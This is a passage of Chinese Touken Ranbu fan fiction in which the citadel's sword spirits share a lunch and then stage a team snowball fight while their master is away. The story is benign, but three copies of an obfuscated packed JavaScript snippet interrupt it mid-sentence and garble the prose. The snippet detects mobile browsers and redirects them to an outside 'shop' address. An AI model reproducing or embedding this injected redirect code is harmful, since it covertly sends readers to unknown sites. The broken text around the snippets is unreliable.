“这样吗……那你之前在政府这里工作的时候也会做调查研究什么的吗?”鸢尾好奇地问道。看到他点了点头,鸢尾的眼睛亮晶晶的,十分感兴趣的样子。 看鸢尾和新来的付丧神就这么旁若无人地聊了起来,清光赶紧轻咳一声拉回她的注意力,“主人,签好了就要回家了哦?” “好——”鸢尾将笔还给南海太郎朝尊,又将签好的文件放回狐之助的背包里,“那就麻烦你把文件交给政府那边了,狐之助。” “没问题,”狐之助挺了挺胸膛,“就交给咱吧!” “是,狐之助最可靠了。” 看到它臭屁的样子,鸢尾笑着摸了摸它的头,随后向它挥了挥手,带着一大群付丧神踏入时空传送阵。 来的时候只有两个付丧神,结果回去的时候就变成了一大群付丧神……希望本丸不要太惊讶吧。鸢尾如此想到。 在鸢尾签下时之政府的调令文件后就自动与她签订契约的几个付丧神倒是微微惊讶地看向了自己的手。 之前作为政府刀,他们身上萦绕着政府提供的灵力,这还是他们第一次正式接受审神者的灵力。 温暖却不容置疑地将他们包围着……与时之政府提供的冷冰冰却也毫无感觉的灵力完全不一样,原来是这样的感受吗?他们适应着体内舒适的灵力,一时也没有出声。 而本来就作为鸢尾的刀,清光与堀川倒是心情复杂。一方面本丸有更多的刀协助,确实是一件好事。而另一方面—— 可恶,本来与自己主人待在一起的时间就不多,现在又多了几个家伙,不就更难了吗! 47.取暖与料理 ……好冷好冷好冷! 信浓藤四郎拉开障子门,呼啸而过的寒风就趁机钻进了他的衣口,把本来就怕冷的他冻了个哆嗦。 这么冷的天,好想躲进大将的怀抱里啊,刚好大将已经回来了…… “哈……可是兄弟今天的内番还没有完成。”后藤藤四郎打着哈欠将胳膊搭在他的肩上,支撑着因为还没有完全睡醒而摇摇晃晃的身体,“没记错的话是和我一起的马当番吧?可不要丢下我偷懒哦。” 信浓这才反应过来他将心里的话不小心说出口了,看着迷迷糊糊的兄弟长长地叹了一口气,“我知道啦——话说,要是认真完成工作了,我能不能去找大将要奖励呢?” “什么?什么奖励!”包丁从他们身后探出头,“主公大人要给谁奖励吗?” “不是啦,”信浓赶紧摆摆手,“我乱说的……” 但是他被不知道在旁边站了多久的乱揭了短,“哼哼,我都听到了哦,信浓想要躲在主公怀里!” “诶——怎么这样!我也想要嘛……” “什么什么,信浓好狡猾!” “我、我也可以吗……呜,对不起!” …… 准备过来叫自己弟弟们起床的一期一振刚转过弯就听见他们活泼热闹的声音,与旁边已经洗漱完的药研对视了一眼,纷纷勾起了嘴角。 今天也是很有活力的一天啊。 被兄弟们围着打闹,一阵兵荒马乱之后,小孩子们被在旁边等了好一会儿的一期一振和药研揪去洗漱了。 “想要去找大将的话,没有认真完成工作可是不行的。”药研抱着臂倚在门上,“而且大将现在出门了,你们也不想大将回来看到大家工作没做好,因此为难吧?” 看着弟弟们一瞬间乖巧起来,认真洗漱,打算斗志满满地开始一天的工作的样子,一期一振觉得自己好像学到了什么不得了的东西。 —— “……还是好冷。”信浓耷拉着肩膀嘟囔着。 衣服很暖和,认真打扫马厩的时候身体也会慢慢热起来,可是这些只要一到外面,一遇到刺骨的冷风就都抵挡不住了。衣服会像冰冷的铁一样硬邦邦贴在皮肤上,总有风从不知道的地方钻进来;好不容易热起来的身体就像被烧热然后又扔进冰水里降温的玉钢,感觉一动起来就会发出咯吱咯吱的声音。 好像躲进大将的怀里,我的工作已经做好了,大将怎么出门还没回来呢? 信浓无精打采地踢着地面上零散掉下来的几根稻草。 ……稻草。 他侧过头看向旁边那堆被他们两人堆起来的高高的稻草堆。 稻草堆是什么样的感觉呢?信浓知道有些人会用稻草来防风——所以稻草堆里面会是暖和的吗?会不会像大将的怀抱一样呢? 试一试吧!他打起了一点精神。 “兄弟,来帮忙!”他招呼着后面在喂最后一匹马的后藤,在他过来之后向他说了自己的计划,“怎么样,来帮我一下吧?” 看着自家兄弟好不容易精神了一点的样子,虽然并不觉得躲进稻草堆里的感觉会和在大将怀里的一样,后藤还是选择帮自己兄弟一把。 搬来一架梯子,信浓小心翼翼地从稻草堆顶部挖开了个小洞。后藤在下面固定着不让好不容易堆起来的稻草堆倒塌,信浓像一只灵活的小猫一样一点一点钻了进去。 …… “喂,兄弟,所以是什么感觉呀?” 见信浓钻进去之后就没有了声音,后藤在外面等了一会儿,不由好奇地问道。难道真的有那么舒服吗?真的和大将的怀抱一样吗?后藤才不相信,他也被拥入过她的怀中,温暖的、馨香的,带着令人安心而幸福的感觉……反正才不是这一堆稻草能比得上的的! “呼——”信浓突然从稻草堆里冒出个头,深呼一口气,把下面正在胡思乱想的后藤吓了一跳。他爬上梯子把信浓拉出来,顺便帮他把身上沾到的稻草捡下来,“怎么样?暖和一点了吗?” “嗯……”信浓回忆着刚刚在里面的感觉,微微蹙起了眉,“虽然确实是挺暖和的,但是和怀抱还是不一样吧……而且在里面好闷啊。” 唉……他叹了一口气,模拟拥抱计划,失败。 将刚刚的残局收拾了一下,时间也差不多了,两人准备赶往大广间去吃午餐。 当初为了留下鸢尾,时之政府给的待遇真的挺不错的。以鸢尾的本丸来说,里面的每一件房间都很大,所以她当初第一次见到的时候也才会发出“会不会太冷清了”的感慨。不过在刃慢慢多起来之后,房间又大又多的好处就凸显出来了。 人数比较多的刀派不用担心要拆开来住,甚至还有空余的房间被改造成了娱乐室、茶室、健身房等等休闲场所。大广间也是如此——作为本丸房间面积排得上前几的地方,这里很自然的就成为了大家吃午餐、晚餐的地方——没有早餐是因为大家起床的时间不一样,有些刃甚至早上起不来,所以对于早餐,大家都是自行从厨房领到自己的部屋去吃的。 所以,用餐时间的大广间算得上本丸最热闹的地方了。还没拉开障子门,就能听见里面的交谈声,隐隐约约的,反而更带着一股温馨的、像家一样感觉。 信浓用力将门往旁边拉开,扑面而来的就是一股热气,将大家谈笑的声音带到耳边,伴随着食物的浓浓香味,让人食指大动,瞬间就从凛冽的寒风中“活”了过来。 “哟!”刚打完饭的鹤丸端着碗向他们打招呼,“赶紧过来,今天小光可是准备了很丰盛的一餐哦!” “来啦!” 两人期待地关紧门,跑进去坐到自己兄弟们的旁边。一期一振已经为他们打好了饭,看着桌子上浓郁的骨汤,喷香的牛排,青翠的菜叶以及点缀着黑芝麻的白米饭,已经忙了一个早上的信浓和后藤都忍不住咽了咽喉咙。 “还有这个哦。”烛台切走过来,微笑着将一盘蒲烧鳗鱼放到他们眼前的桌子上。看着他们放光的眼睛,他解释道,“这是主人特意吩咐买的,‘因为大家最近都很辛苦,所以希望能好好补一补’,她是这样说的,所以今天大家好好享用吧,还有很多很好的食材还没用完呢。” “辛、辛苦了,烛台切先生。”退抱着自己的小老虎怯生生地说道,从他脸上的红晕中可以看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085362|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得出来他很喜欢今天这顿丰盛的午餐。旁边的小老虎用鼻子拱着他的手,催促他快点喂它们,也是一副迫不及待的样子。 “没关系,大家对我的料理的认可也是一件让我很幸福的事情。”烛台切笑着应道,顺手抓住后面想往他盘子里料理偷偷挤芥末的鹤丸,“请不要用食物来开玩笑,鹤先生。如果想吃芥末的话我可以给你的那一份多加点。” “哈哈哈,那就不用了……”被抓包的鹤丸赶紧将手里的芥末收起来,“偶然从美味里吃出不一样的味道才是一种惊喜嘛,要是提前被告知了就变成惊吓了哦——” 听着他的歪门邪论,烛台切无奈地摇头,为了避免他带坏小孩子,揪着他的衣服将他拉走了。坐在位置上看完全程的藤四郎们对视一眼,纷纷笑了起来。 “真好吃啊……要是主公大人也能和我们一起吃就好了。”秋田“嗷呜”一口将软糯香甜的米饭塞进嘴里,配着咸香的牛排,幸福地眯了眯眼睛。将食物吞进去之后,他遗憾地说道。 “……是啊,主人没吃到这么好吃的料理真的太可惜了。”听到他的话,乱无意识地用筷子戳着碗里的米饭,也跟着说道,“不知道主人去哪里了……连近侍也没带上呢。” 是的,今天的近侍三日月宗近就坐在他们对面,正在悠闲悠闲地喝着茶,眯着眼等烛台切将蒲烧鳗鱼发给他,还像一个老爷爷一样说着“哈哈哈,甚好甚好”这样的话。 ……唉,今天的近侍为什么不是自己呢。围观的藤四郎们在心里发出遗憾的疑问。 昨天主公才从时之政府回来,他们还没和她待多久,因为想让她多休息一会,就没再缠着她。可是今天就又得知她出门了……根本就没待多久嘛!已经快患上分离焦虑的小短刀们神色变得难过起来,盯着眼前的美味料理放空,感觉它们也没有想象中的那么好吃了。 “就是因为主公暂时不能吃到,所以大家才要认真地品尝,这样等她回来的时候,我们才能和她描述今天的料理有多美味,不是吗?”看出弟弟们情绪的低落,一期一振挨个摸了摸他们的头,“虽然没办法吃到,但是我们可以想办法让主公感受到啊。” “嗯!”,“一期哥说得对!”,“我要跟主公大人好好讲我们吃了些什么”…… 看着弟弟们都重新振作起来,乖乖地拿起筷子享受美食,一期一振也微微地笑起来,温柔地注视着他们。 座位正好排在粟田口一家旁边的一文字则宗支着头浅啜了一口清酒,敛下眸子里的深思。 看来,在这座本丸,大家都已经彼此离不开了啊——那位审神者,不,现在应该说是他的主人,可真是一位了不起的人物啊…… “喵!太好吃了喵……”旁边南泉瞬间消灭一盘蒲烧鳗鱼,又偷瞄了几眼一文字则宗还没动的菜,犹豫地开口,“御前大人……您不吃吗喵?” ……臭小子,别以为我不知道你的眼睛都快掉进我的那盘鱼里面了。 一文字则宗看着自然地融入进这个本丸的南泉,在心里暗自叹了口气。然后若无其事地提起筷子,在他渴望的目光里吃完了自己桌上的那盘充满诱惑的蒲烧鳗鱼。 48.打雪仗与取队名 暖暖的午餐最能慰藉身处寒冬之人的心灵,用完餐之后,信浓觉得自己暖和多了。 因为在早上就完成了今天的工作任务,所以对于他和后藤来说,一整个下午包括晚上的时间都是空闲的。对于这样的空闲时间,要是鸢尾还在本丸的时候,他们会选择窝在天守阁看鸢尾工作,或是把她拉下来到粟田口的部屋休息一下。 但是今天鸢尾不在,所以……他们一时竟也不知道要做些什么来打发这么一段漫长的的时间。 大广间的人慢慢散去,原本暖洋洋的房间也渐渐清冷下来。烛台切、歌仙、前田和平野负责今天的厨当番,所以现在正在收拾着用完的碗筷。 “我们来帮忙吧。” 信浓和后藤对视一眼,起身去帮他们将盘子和碗堆叠好,方便他们收拾。 “啊,谢谢兄弟。”前田笑着朝他们点点头,抱着一大堆碗筷向厨房走去。平野也凑过来问他们,“你们的工作还有什么需要帮忙的吗?等我们做完了再去帮你们。” “不用了,我们今天负责马当番,已经都弄好了。”后藤摆摆手,“不过信浓这家伙老是觉得冷,多做一点事情也好,说不定就能热起来了。” “这样吗。”平野担忧地看了一眼旁边的信浓。信浓怕冷这件事情是粟田口的大家都知道的,从他在这个冬天整天都赖在主公怀里就能看得出来。有什么办法能帮他热起来呢…… 今剑突然从门后面探出一个头,“大家,要不要一起出来玩呀!不过我们现在还没有想好要玩什么……” 出去玩?平野望着屋外白茫茫的一片,突然想出了一个好点子。 “打雪仗,怎么样!”见大家都望过来,好像很感兴趣的样子,他接着说道,“虽然雪是很冷的,但是只要跑来跑去就会热起来了吧?而且现在风已经停了,在暖和的太阳下面多晒晒说不定兄弟也会好一点!” “哇!好有趣!” 今剑的眼睛亮晶晶的。打雪仗——这是他们从本丸刚下雪的时候就一直想要做的事情,不过那个时候大家都还比较忙,鸢尾的眼睛还没好、身体也还没恢复,他们都没有心情去玩。 后面又遇到鸢尾去异世界出远门,回来的时候他们又都突然地变成了猫……总之就是一系列的事情,导致他们都已经快忘了这件事了。嗯——总觉得这个冬天发生了很多事情呢,不过在今天重新回忆起打雪仗这件事也不晚! “那等我们把这些东西收拾一下……” “没关系,想玩就去玩吧。”烛台切将他们几人手上的盘子接过,含笑着对他们说,“这些东西也不是很多,我和歌仙来就好了。” “是啊,在冬日白茫茫的雪地上撒下欢快的笑声,这也是一件风雅的事情。”歌仙也跟着点头,将他们几个小孩子向大广间外面推去,“去吧去吧,记得把在厨房的前田也叫上。” “啊……”被推出来的几个小孩子们看了一眼被关上的障子门,又相互对视了一眼,开心地眯起眼睛。 “好,既然要玩的话,那我们就多去找几个人吧!”今剑将拳头砸进自己的掌心,“我记得小夜和太鼓钟好像已经远征回来了,我去问问看他们!” “药研哥今天好像也没有什么事情,我去手入室找找他。”信浓回忆着昨天晚上看到的排班表,不太确定地说道。 “好,那我们就分别去找找看,一会儿在庭院集合!” —— “哦,本丸第一届打雪仗大赛,即将开始!”鹤丸国永站在屋檐上,兴致勃勃地向坐在廊下的观赛刀们宣布,也收获到了大家热烈的欢呼声。 药研作为参赛刃员站在庭院里听着大家活力满满的声音,不知道事情为什么会发展成现在这样。明明刚开始,就只是信浓和后藤找到了在手入室研究新药的他,想要他陪他们一起打雪仗。 打雪仗,是小孩子们间的游戏。不过药研知道他们在很久之前就已经有了这个想法,却因为各种各样的事情一直拖到现在,作为一名成熟的兄长,应该满足弟弟们的愿望,所以他也没拒绝。本来就是一场小孩子们之间的普通游戏,直到他们遇到了扛着个铲子不知道从哪里回来的鹤丸。 “哦?打雪仗吗!这可真是个大惊喜啊。”听到他们的打算,鹤丸国永本就璀璨的金色眸子里更是发亮,“在这么无聊的时间里,肯定要给大家找一点有趣的事啦,不如我们就举办一场本丸打雪仗大赛怎么样?” 看出小孩子们有点犹豫,好像在想他们本来的打算似乎不是这样的,鹤丸又添了一把火,“本丸的第一场比赛哦!不知道胜者能不能得到主人的特殊奖励呢……” 主公大人的特殊奖励! 只听到这几个字的小孩子们顿时睁大眼睛。本来只是一场游戏,但是如果能得到主公大人的特殊奖励的话,那就要使出十二分的精力与实力了! 看着突然涌现出熊熊斗志的小孩子们,药研推了推眼镜,最终还是没有打断他们。 ……结果就变成了现在这样啊。为什么感觉全本丸的人都围了过来呢?为什么甚至还藏了一只狐之助?大将不在家,大家都这么无聊的吗? 如果药研问出口,可能大部分的刀刀们可能都会点头。不过现在在大家的热烈欢呼下,在自己同队或敌队的小短刀们热切的眼神下,他也没机会问出口就是了。 “大家可以看到现在场上分成了两队,而两队的成员都是根据抽签决定的。”鹤丸掏出喜欢新鲜事物的陆奥守吉行赞助的麦克风继续介绍,“一队的成员包括太鼓钟贞宗,药研藤四郎,今剑,平野藤四郎;另一队的成员包括信浓藤四郎,后藤藤四郎,前田藤四郎还有小夜左文字!” 廊下的大家都非常配合,当鹤丸念到一个名字的时候,就会响起热烈的欢呼声和掌声。明明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093554|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有几十个刃,却硬生生喊出了体育场演唱会应援的感觉。 ……倒也不用这么配合。在鸢尾身边已经默默进化成吐槽役的药研默默思索着过后会有多少人来找他拿咽喉含片。 “那么,就让队员们喊出各自队伍的名字吧!” “好——我们就是,一定会拿到奖励队!”对面的四人不知道什么时候已经商量好了队名,颇有气势地喊了出来,连一向比较沉默寡言的小夜也不例外。围观群众虽然不太清楚会有什么奖励,但感受到他们的气势,也都纷纷鼓起掌来。 “我们还没有商量队名!”站在前面的太鼓钟和今剑趁大家注意力都在另一队上面的时候悄悄朝后面的两个人靠拢过来,“取什么样的名字才能在气势上压倒他们呢?” “羊羹队吧。”药研突然开口。旁边的几人都转过头来疑惑地看着他,不太明白他为什么要取一个这么……可爱的队名。 “啊,羊羹?羊羹是不是主公大人最喜欢吃的和果子啊!”平野突然想到。因为相比于战场更习惯待在主公身边,他和前田经常给鸢尾送茶点上去,每次见到她吃得最多的就是羊羹。 被他这样一提醒,旁边的几人也都明白了药研取这个队名的意思。用主人最喜欢的点心命名,这说明什么?这说明主人最喜欢的也是他们队!这说明他们更懂得主人需要什么!居然能想到这一点……药研可真是厉害啊。 看到队伍中的三个人都用崇拜的目光盯着自己,药研不禁也有点疑惑——他只是突然想到了大将出门之前只吃了一点羊羹,所以才想到这个名字。所以为什么要用这种惊喜的、意想不到的目光看着自己……? “羊羹队!我们是羊羹队!” 不过没等他问出声,太鼓钟就兴奋地大声向大家宣布了他们的队名。对面的那一队,包括围观的其他人刚开始听到的时候也向他们刚刚那样摸不着头脑,不过在今剑开心地转圈圈,说他们队“是主公大人最喜欢的茶点队”的时候,也纷纷露出了恍然大悟的表情。 没想到,原来药研(哥)才是那个最深藏不漏的人。 一定会拿到奖励队的藤四郎们和小夜对视了一眼,提高了自己的警惕。 “还以为药研哥对大将的特殊奖励不感兴趣呢……结果现在从队名就可以看出来他的势在必得了。”信浓攥紧拳头,眼里的战意变得比刚才更加强烈,甚至站在室外都不觉得冷了,“不过这样也好,这样赢了才可以看出我们队的实力!” 同队的几人也纷纷点头。 “没想到要和兄弟变成敌人了……”受到他的感染,同队的前田藤四郎向前一步,神色复杂地望向对面的平野,“不过这次,为了主公大人,我是不会放水的!” “是啊,我也是这样的。”平野严肃地点头,“让我们来一决胜负吧!” “本丸第一届打雪仗大赛现在开始!” 49.还是打雪仗 冬日的太阳悠闲地挂在天上,却没有为太阳底下的人带来多少温暖。 “兄弟,没想到我们还是走到这一步了。”前田攥紧手中的雪球,仍由它将自己的手心冻得通红,身体紧绷着,眼神紧紧盯着不远处与他对峙的平野。风夹杂着地上的雪粒飘过,扬起他的小披风。 “……是啊,虽然我也不想这样,但现在也没办法了。”平野抿了抿干燥的唇,两只手上同样攥着雪球,“那么,就来决一死战吧!” 又是一阵呼啸而过的风,廊下围观的人,包括房顶上的鹤丸和狐之助,都因为此时肃穆紧张的环境静了下来,不敢发出一丝声音来打扰这一对昔日的兄弟。 两个人紧紧地盯着彼此,像是在判断对方什么时候行动。 在某一瞬间,让人眼花缭乱的雪球纷纷向对方飞去,两个人在雪球的缝隙中灵活地躲避着,不时还要弯腰在地上获取原材料去搓球,因为短刀得天独厚的机动优势,两人竟然一时都没有被砸中。而这样僵持而紧张的局面也点燃了观众,大家都屏气凝神地注视着场上的局面。 平野扔出去的雪球擦着前田的小披风飞过,“哦!”包丁突然发出小声的惊呼,连忙用手捂住自己的嘴。 “呐呐,包丁觉得哪一队会赢呢?”眼神还放在前田平野的身上,坐在包丁旁边的乱听见他的声音,随口问道。 “啊……平野很厉害,可是前田也不错呢……可恶,完全选不出来嘛!”包丁认真地思考了一会儿,还是得不出答案,索性翻出随身背着的小包包,从里面掏出鸢尾给他的棒棒糖塞进嘴巴,含混不清地说道,“不过也不止他们两个呢,两队的其他队员也都很厉害啊……还有药研哥,完全不可小觑啊。” “是啊,”听他提到这个,乱的眼神艰难地从场上的两人身上移开,四处望了望,“不过他们跑哪里去了呢?从比赛开始之后就没看到他们的影子了……” “啊,前田被击中了!”屋顶上的鹤丸举起麦克风激动的宣布,“双子之战竟然以这样的方式落幕了,看来这就是计谋的重要性啊。” “什么什么!”还在找着其他几人踪迹的乱赶紧看回来,却只看到前田倒在地上,平野和突然出现的今剑正握着他的手不知道在说些什么,错过了最精彩的部分。他摇了摇旁边一直盯着场上的包丁,“啊——我居然没看到,前田是怎么被打到的?” 包丁叼着棒棒糖摇了摇头,深沉地回复道,“打雪仗,真是太可怕了。” 所以发生了什么呢?这就要回到比赛刚开始的时候了。 在裁判鹤丸吹响哨子以后,两队的人没有贸然行动,都选择了往不同方向散开,打算制定一个能更容易获胜的战术。 “小夜,你比较擅长隐藏气息,就埋伏在不容易被发现的地方搓好雪球,等我们去把对手一个个分开引过来,你再突袭,这样就可以出其不意地逐个把他们消灭掉了!” 小夜在旁边沉着地点了点头,“如果这样,就能复仇……” 看着小夜埋伏到旁边的灌木丛里,为了隐蔽,信浓他们还在上面盖了一层枯枝稻草,铺了一层薄薄的雪。在小夜收敛气息之后,这片地方就像完全没有人来过一样,他们满意地点了点头。 “好,接下来我们就去把敌队的人都分散开,一个个引到这里来。”后藤想了想,补充道,“遇到他们的时候,如果他们也是多个人在一起,我和信浓先把他们拖住,前田你把其中一个引到这里来,我们两个之后再想办法脱身。” “好。”,“没问题!” 一定会拿到奖励队就这样分好工,三人结伴小心翼翼地向刚刚另一队离开的方向进发。尽管刚开始就规定了他们的活动范围有限,只在庭院的这片区域内,可是因为本丸的整体面积本来就比较大,连带着的庭院面积其实也不小。好在他们很幸运,往那个方向走了没多久就遇到了另一队的平野和太鼓钟。 他们两人正好朝三人所在的方向走来,两拨人中间隔着一座小桥。趁他们没注意,三人蹲下躲进桥洞下面。 “他们好像分成了两组,”信浓谨慎地注视着他们来之时的方向,却没有看到另外两个人的身影,“药研哥和今剑应该往另一个方向去了。” “行动吧。” 见时机正好,三人对视一眼,点了点头,随后攥着刚捏的雪球就跳到地面上,朝平野和太鼓钟的方向扔去。 “小心!”见一大堆雪球向他们的方向袭来,太鼓钟瞳孔微缩,连忙拉着平野后退。雪球精准地落在他们原来站着的地方,像白色的烟花一样炸开。 “啊,真可惜呢,居然没有打中。”信浓将自己手中已经准备好的雪球往上抛了抛,雪球与掌心接触发出沉闷的声音,他晶莹的眼睛里映出对面两人的身影,“不过下一次就不会这么幸运哦。” 话音刚落,又是一阵猛烈的攻势。 三个人对两个人,太鼓钟被信浓和后藤包围,只能勉强抵抗着,被迫和同队的平野分开。前田见自己队伍的战术已经生效了,增强了自己的攻势,不动声色地控制着雪球的方向,把平野向小夜躲藏的地方逼过去,所以才有了刚刚众人看到的那一幕。 “啪”,雪球像一颗小小的流星从平野身边划过,打在松软的雪地上。 本丸的雪已经连着下了好几天了,在地上堆积形成了厚厚的雪层。如果是普通的人在这么厚的雪里,恐怕踩进去想把腿拔出来都要耗费很大的功夫,可是对于轻盈的小短刀们来说,就根本不是什么问题。 已经把平野往灌木丛的方向引过来了,前田不着痕迹地往身后瞥了一眼,确认没有什么痕迹。躲过他扔过来的雪球,前田在地上滚了一圈,小披风上也沾上白白的雪粒,见平野似乎察觉到了不对劲想往回撤,前田赶紧喊道,“小夜!” “唰拉”,灌木丛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104827|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面覆盖着的枯枝和雪被抖开,小夜像一只幽灵猫猫一样突然冒了出来,好几颗雪球被精准且急促地朝平野的方向扔去。 雪球划过天空的轨迹像网一样将平野包围,不过在这个时候,前田注意到他却突然小小地勾了一下自己的嘴角。 为什么……?前田察觉到了一丝不对劲。 冬风又呼啸着奔腾而过,将灌木丛旁边一颗大树上挂着的雪都吹下来了一点。 树上的雪?暂时将心神从不远处躲避着雪球的平野身上挪开,前田抓住落在掌心的雪,疑惑地抬头,身体却猛然一僵。 在他们都没有注意到的时候,还没有完全枯落的树上已经堆满了雪。在他发现的下一秒,一双红色的眼睛从雪堆后面冒出来,俏皮地朝他眨了眨,随后树枝晃了晃,那堆雪就朝着他和小夜的方向泼下来! “快走!”情急之下,前田只来得及将离得比较远一点的小夜推开,他自己却被雪泼了一身,遗憾地被淘汰了。 小夜被撞了出去,落在蓬松的雪被上,愣愣地看着眼前的场景。今剑轻盈地从高高的树上跃了下来,打开的手臂就像小天狗的翅膀,“叮铃——羊羹队赢一分!” 他的眼神落在小夜身上,歪了歪头,“虽然很抱歉……但现在是二对一啦!” 小夜抿了抿唇,看着躺在地上的前田似乎想说些什么。旁边已经“阵亡”的前田赶紧睁开紧闭着的眼睛朝他喊道,“小夜快跑!” “诶——兄弟犯规了!”平野赶紧上前捂住他的嘴,“你已经被淘汰了,不能说话!” 前田被捂着嘴,只能朝小夜使了个眼色,然后继续闭上眼睛装死。 被他们这么一打岔,小夜抓住时机,留下一句“我们会为你复仇的”,就急忙朝着刚刚信浓和后藤走的方向离开——情况紧急,他们已经少了一人,他得赶紧去通知他们,不能再让同队的队友朝这边靠近了。 而这边的今剑和平野倒是没有马上追过去。他们把还躺在地上的前田拉起来,帮他拍了拍身上沾着的雪,相互对视了一眼。 “真是厉害啊,药研哥。” “是啊是啊,连这都算到了……” “你们到底在说什么啊?”前田看了看今剑,又看了看平野,“难道……这一切都是药研哥安排好的?!” 而旁边的两人但笑不语,神秘地摇了摇头。平野拍了拍他的肩膀,“好啦兄弟,你已经被淘汰了哦,快去旁边休息吧。” 在前田一脸无奈地往场外走去的时候,羊羹队的两个人朝着小夜离开的方向追去。 “胜利一定是属于羊羹队的!我们要拿到主公大人的特殊奖励——”今剑蹦蹦跳跳,明明穿着那么高的单齿木屐却还是平稳而轻盈,脚上带着的金环也随着他的动作发出“叮铃叮铃”的声音。 不远处的药研听着鹤丸播报的声音,垂下眼睛,不动声色地抵了抵眼镜。 50.反击与混战 而这边,信浓和后藤将太鼓钟包围住不久,也听见了鹤丸的播报声。 计划出现了差错,他们对视一眼,从彼此的眼睛里看出了惊讶与谨慎。如果刚刚引过去的只有平野一个人,有前田的正面攻击和小夜的埋伏,应该不至于敌不过平野。 ——那么就证明,他们的计划已经被对方猜中了。只听到了前田被淘汰的声音,不知道小夜现在怎么样了…… 确实如此。因为在太鼓钟往后面退了几步之后,药研不知道从哪个角落冒了出来。 “……二对二吗?不过我们可不是那么轻易就会被打败的。” “不是二对二,”平野的声音插了进来,“现在是四对二了,兄弟。” 与此同时,刚刚赶到的两个人微不可察地朝药研摇了摇头。接受到他们的信号,药研眉心蹙起,又很快松开。……先对付他们,他向其他几人使眼色。 “哦,我们可以看到一定会拿到奖励队的两个人被困在羊羹队的包围圈内了!怎么办呢?他们会靠自己的力量逃出生天,还是就要这样遗憾地被淘汰了呢?这可真是让人期待啊——” 鹤丸将一只手挡在眉上,微微眯起眼睛,期待地望向场内正在对峙的一伙人。而廊下的观众们也屏气凝神,直勾勾地盯着他们。 虽然已经被羊羹队的四人紧紧包围住,不过信浓和后藤脸上却没有太多的挫败。他们背靠背地站着,身体微微下弓,呈现攻击的态势。 “久违的并肩作战了啊。”信浓勾起嘴角,眼里反倒是一片认真的神色。 “是啊,为了我们队的胜利……可不能让小不点们看不起我们了。”后藤应道。 双方都在判断着发动进攻的最佳时机。在某一秒,因为两队成员突出的机动,雪球像子弹一样在空中飞过,溅到几人刚刚落脚的地方。 “哦哦!能看到这样的场景,这一届打雪仗大赛可真是没有白举办啊!” 原本坐在屋顶上的鹤丸都开心地站了起来。让人眼花缭乱的雪球四处飞着,在局外的裁判隐约都要看不清它们的落点,无法判断是否有谁被击中了。不过看场上那热烈的样子,估计暂时也没有人要下场就是了。 “啊,那是——” 因为所处位置比较高,鹤丸很轻易地就看到了场上突如其来的变数——和雪球的个体攻击不一样的,是一阵像尘土一样迎面泼过去的雪浪! “是小夜啊,他带着很不错的工具呢哈哈哈!”金灿灿的眼眸捕捉到了隐藏在雪浪后面的那抹蓝色,为局势的瞬息改变感到惊喜,“因为新力量的加入,场上的情况又发生变化了——啊,羊羹队的小贞被扬起来的雪盖住了,遗憾淘汰!” “啊,华丽地‘阵亡了’!”因为太沉迷于攻击而没有察觉到背后突然到来的小夜,太鼓钟被盖在了雪下。听到鹤丸的声音,他也配合地往地上一躺。 “接住。” 小夜将随身带来的另外两把铲子丢给信浓和后藤。在刚刚发动袭击失败后,他也意识到三对四在人数上没有什么太大的优势,想要破局,就必须借助其他的力量。在离开的时候,他注意到背后两人朝他投来了目光,却没有马上追上自己——是想等自己与队友会和之后再将他们包抄吗? 小夜冷静地敛下目光,将计就计地假装要往队友的方向跑去。但实际上,在今剑和平野还没跟上来的时候,他就绕路到了田地附近,找到了趁手的工具——铲子。如果一颗一颗的雪球攻击力不够的话,那么从地上厚厚的雪层里扬起的雪怎么样? 事实证明,效果不错。羊羹队的人数优势被拉平,场上又恢复到了三对三的情形。羊羹队剩下的三人聚在一起,与一定会拿到奖励队面对面站着。 “小孩子们也是不可小觑的力量——看来双方都要动真格了啊!” 鹤丸不嫌事大地在上面拱火。 “好样的,小夜!” 用手中的铲子向药研他们扬起一大掊雪,信浓还在猛烈的攻势下对小夜比了个大拇指,后藤也在混乱的攻势中拍了拍他的肩。这个工具可找的太好了!进可以用来扬雪,退也可以稍微替自己阻挡一下躲闪不及的雪球——堪称打雪仗利器! “……嗯。”小夜有些羞赧地抿了抿唇,“要为前田复仇,所以找了这样的工具。” 廊下的宗三轻轻倚在柱子上,虽然离得远看不清他们说了些什么,但看到小夜和同队的后藤及信浓他们并肩作战的样子,他也微微地弯起嘴角。和大家玩得很开心呢,小夜。 